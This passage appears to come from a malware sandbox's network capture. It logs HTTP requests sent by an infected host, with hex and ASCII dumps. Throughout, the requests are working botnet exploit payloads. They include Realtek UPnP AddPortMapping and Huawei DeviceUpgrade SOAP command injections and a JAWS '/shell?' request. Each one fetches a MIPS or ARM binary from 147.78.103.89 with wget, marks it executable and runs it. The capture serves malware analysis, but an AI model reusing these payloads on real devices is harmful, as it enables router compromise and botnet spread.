6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:49.719562054 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:04.567240953 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      145192.168.2.1556296139.38.168.195501
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:35.491900921 CET273OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      146192.168.2.1547294103.93.186.1165501
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:35.724697113 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      147192.168.2.153392641.239.32.19737215
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:35.776787043 CET834OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:36.952001095 CET834OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                      Content-Length: 430
                                                      Connection: keep-alive
                                                      Accept: */*
                                                      Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 147.78.103.89 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:37.175272942 CET182INHTTP/1.1 500 Internal Server Error
                                                      Content-Type: text/xml; charset="utf-8"
                                                      Server: Linux UPnP/1.0 Huawei-ATP-IGD
                                                      EXT:
                                                      Connection: Keep-Alive
                                                      Content-Length: 398


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      148192.168.2.155244845.117.146.5652869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:38.482714891 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:42.551835060 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:48.695667028 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 